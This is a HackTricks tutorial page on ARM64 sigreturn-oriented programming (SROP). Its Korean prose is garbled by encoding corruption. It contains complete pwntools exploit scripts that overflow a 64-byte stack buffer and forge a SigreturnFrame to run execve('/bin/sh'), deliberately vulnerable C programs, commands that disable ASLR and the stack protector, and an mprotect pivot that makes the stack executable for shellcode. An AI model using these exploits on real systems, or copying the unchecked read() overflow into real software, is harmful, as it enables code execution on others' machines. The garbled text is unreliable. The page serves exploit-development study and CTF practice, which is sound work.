> [!TIP]
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Pwntools ์์
์ด ์์ ๋ ์ทจ์ฝํ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ฑํ๊ณ ์ด๋ฅผ ์
์ฉํ๋ ๊ฒ์
๋๋ค. ๋ฐ์ด๋๋ฆฌ๋ ์คํ์ ์ฝ์ด๋ค์ธ ํ **sigreturn**์ ํธ์ถํฉ๋๋ค:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
bof ์์
์ฝ๋
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
๋ค์๊ณผ ๊ฐ์ด ์ปดํ์ผํ์ธ์:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
์ด ์ต์คํ๋ก์์ bof๋ฅผ ์
์ฉํ์ฌ sigreturn ํธ์ถ๋ก ๋์๊ฐ๊ณ ์คํ์ ์ค๋นํ์ฌ **execve**๋ฅผ /bin/sh์ ๋ํ ํฌ์ธํฐ์ ํจ๊ป ํธ์ถํฉ๋๋ค.
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
bof ์์ (sigreturn ์์)
์ฝ๋
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
Exploit
In the section vdso itโs possible to find a call to sigreturn in the offset 0x7b0:
 (1).png)
๋ฐ๋ผ์, ์ ์ถ๋ ๊ฒฝ์ฐ, ์ด ์ฃผ์๋ฅผ ์ฌ์ฉํ์ฌ sigreturn์ ์ ๊ทผํ ์ ์์ต๋๋ค ์ด์ง ํ์ผ์ด ์ด๋ฅผ ๋ก๋ํ์ง ์๋ ๊ฒฝ์ฐ:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
๋ ๋ง์ ์ ๋ณด๋ vdso์ ๋ํด ํ์ธํ์ธ์:
๊ทธ๋ฆฌ๊ณ /bin/sh์ ์ฃผ์๋ฅผ ์ฐํํ๊ธฐ ์ํด ์ฌ๋ฌ ๊ฐ์ ํ๊ฒฝ ๋ณ์๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ๋ ๋ง์ ์ ๋ณด๋:
sigreturn ๊ฐ์ ฏ ์๋ ์ฐพ๊ธฐ (2023-2025)
ํ๋ ๋ฐฐํฌํ์์ sigreturn ํธ๋จํด๋ฆฐ์ ์ฌ์ ํ vDSO ํ์ด์ง์ ์ํด ๋ด๋ณด๋ด์ง์ง๋ง, ์ ํํ ์คํ์
์ ์ปค๋ ๋ฒ์ ๋ฐ BTI(+branch-protection) ๋๋ PAC๊ณผ ๊ฐ์ ๋น๋ ํ๋๊ทธ์ ๋ฐ๋ผ ๋ฌ๋ผ์ง ์ ์์ต๋๋ค. ์ด๋ฅผ ์๋ํํ๋ฉด ์คํ์
์ ํ๋์ฝ๋ฉํ๋ ๊ฒ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค:
# With ROPgadget โฅ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ โฅ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
๋ ๋๊ตฌ๋ AArch64 ์ธ์ฝ๋ฉ์ ์ดํดํ๋ฉฐ SROP ๊ฐ์ ฏ์ผ๋ก ์ฌ์ฉํ ์ ์๋ mov x8, 0x8b ; svc #0 ์ํ์ค๋ฅผ ๋์ดํฉ๋๋ค.
์ฐธ๊ณ : ๋ฐ์ด๋๋ฆฌ๊ฐ BTI๋ก ์ปดํ์ผ๋๋ฉด ๋ชจ๋ ์ ํจํ ๊ฐ์ ๋ถ๊ธฐ ๋์์ ์ฒซ ๋ฒ์งธ ๋ช ๋ น์ด๋
bti c์ ๋๋ค. ๋ง์ปค์ ์ํด ๋ฐฐ์น๋sigreturnํธ๋จํด๋ฆฐ์ ์ด๋ฏธ ์ฌ๋ฐ๋ฅธ BTI ์ฐฉ๋ฅ ํจ๋๋ฅผ ํฌํจํ๊ณ ์์ด ๊ฐ์ ฏ์ด ๋นํน๊ถ ์ฝ๋์์ ์ฌ์ ํ ์ฌ์ฉ ๊ฐ๋ฅํฉ๋๋ค.
ROP์ SROP ์ฐ๊ฒฐํ๊ธฐ (mprotect๋ฅผ ํตํ ํผ๋ฒ)
rt_sigreturn์ ๋ชจ๋ ๋ฒ์ฉ ๋ ์ง์คํฐ์ pstate๋ฅผ ์ ์ดํ ์ ์๊ฒ ํด์ค๋๋ค. x86์์์ ์ผ๋ฐ์ ์ธ ํจํด์: 1) SROP๋ฅผ ์ฌ์ฉํ์ฌ mprotect๋ฅผ ํธ์ถํ๊ณ , 2) ์์ฝ๋๋ฅผ ํฌํจํ๋ ์๋ก์ด ์คํ ๊ฐ๋ฅํ ์คํ์ผ๋ก ํผ๋ฒํ๋ ๊ฒ์
๋๋ค. ARM64์์๋ ๋์ผํ ์์ด๋์ด๊ฐ ์๋ํฉ๋๋ค:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
ํ๋ ์์ ์ ์กํ ํ, 0x400000+0x100์ ์์ ์
ธ ์ฝ๋๋ฅผ ํฌํจํ๋ ๋ ๋ฒ์งธ ๋จ๊ณ๋ฅผ ์ ์กํ ์ ์์ต๋๋ค. AArch64๋ PC-relative ์ฃผ์ ์ง์ ์ ์ฌ์ฉํ๋ฏ๋ก, ํฐ ROP ์ฒด์ธ์ ๊ตฌ์ถํ๋ ๊ฒ๋ณด๋ค ๋ ํธ๋ฆฌํ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
์ปค๋ ๊ฒ์ฆ, PAC ๋ฐ ์๋์ฐ ์คํ
Linux 5.16์ ์ฌ์ฉ์ ๊ณต๊ฐ ์ ํธ ํ๋ ์์ ๋ํ ๋ ์๊ฒฉํ ๊ฒ์ฆ์ ๋์
ํ์ต๋๋ค (์ปค๋ฐ 36f5a6c73096). ์ปค๋์ ์ด์ ๋ค์์ ํ์ธํฉ๋๋ค:
uc_flags๋extra_context๊ฐ ์กด์ฌํ ๋UC_FP_XSTATE๋ฅผ ํฌํจํด์ผ ํฉ๋๋ค.struct rt_sigframe์ ์์ฝ์ด๋ 0์ด์ด์ผ ํฉ๋๋ค.- extra_context ๋ ์ฝ๋์ ๋ชจ๋ ํฌ์ธํฐ๋ ์ ๋ ฌ๋์ด ์์ผ๋ฉฐ ์ฌ์ฉ์ ์ฃผ์ ๊ณต๊ฐ ๋ด๋ฅผ ๊ฐ๋ฆฌ์ผ์ผ ํฉ๋๋ค.
pwntools>=4.10์ ์๋์ผ๋ก ์ค์ํ๋ ํ๋ ์์ ์์ฑํ์ง๋ง, ์๋์ผ๋ก ๊ตฌ์ถํ๋ ๊ฒฝ์ฐ reserved๋ฅผ 0์ผ๋ก ์ด๊ธฐํํ๊ณ ์ ๋ง ํ์ํ์ง ์๋ ํ SVE ๋ ์ฝ๋๋ฅผ ์๋ตํด์ผ ํฉ๋๋ค. ๊ทธ๋ ์ง ์์ผ๋ฉด rt_sigreturn์ด ๋ฐํ ๋์ SIGSEGV๋ฅผ ์ ๋ฌํฉ๋๋ค.
์ฃผ๋ฅ Android 14 ๋ฐ Fedora 38๋ถํฐ ์ฌ์ฉ์ ๊ณต๊ฐ์ ๊ธฐ๋ณธ์ ์ผ๋ก PAC (Pointer Authentication) ๋ฐ BTI๊ฐ ํ์ฑํ๋ ์ํ๋ก ์ปดํ์ผ๋ฉ๋๋ค (-mbranch-protection=standard). SROP ์์ฒด๋ ์ํฅ์ ๋ฐ์ง ์์ง๋ง, ์ปค๋์ด ์์ฑ๋ ํ๋ ์์์ ์ง์ PC๋ฅผ ๋ฎ์ด์ฐ๋ฏ๋ก ์คํ์ ์ ์ฅ๋ ์ธ์ฆ๋ LR์ ์ฐํํฉ๋๋ค. ๊ทธ๋ฌ๋ ๊ฐ์ ๋ถ๊ธฐ๋ฅผ ์ํํ๋ ํ์ ROP ์ฒด์ธ์ BTI๊ฐ ํ์ฑํ๋ ๋ช
๋ น์ด ๋๋ PAC๋ ์ฃผ์๋ก ์ ํํด์ผ ํฉ๋๋ค. ๊ฐ์ ฏ์ ์ ํํ ๋ ์ด๋ฅผ ์ผ๋์ ๋์ญ์์ค.
ARMv8.9์์ ๋์ ๋ ์๋์ฐ ํธ์ถ ์คํ(์ด๋ฏธ ChromeOS 1.27+์์ ํ์ฑํ๋จ)์ ์ปดํ์ผ๋ฌ ์์ค์ ์ํ ์กฐ์น์ด๋ฉฐ, SROP์ ๊ฐ์ญํ์ง ์์ต๋๋ค. ์๋ํ๋ฉด ๋ฐํ ๋ช ๋ น์ด๊ฐ ์คํ๋์ง ์๊ธฐ ๋๋ฌธ์ ๋๋ค. ์ ์ด ํ๋ฆ์ ์ปค๋์ ์ํด ์ ์ก๋ฉ๋๋ค.
์ฐธ์กฐ
- Linux arm64 ์ ํธ ์ฒ๋ฆฌ ๋ฌธ์
- LWN โ โAArch64 ๋ถ๊ธฐ ๋ณดํธ๊ฐ GCC ๋ฐ glibc์ ๋์ ๋จโ (2023)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


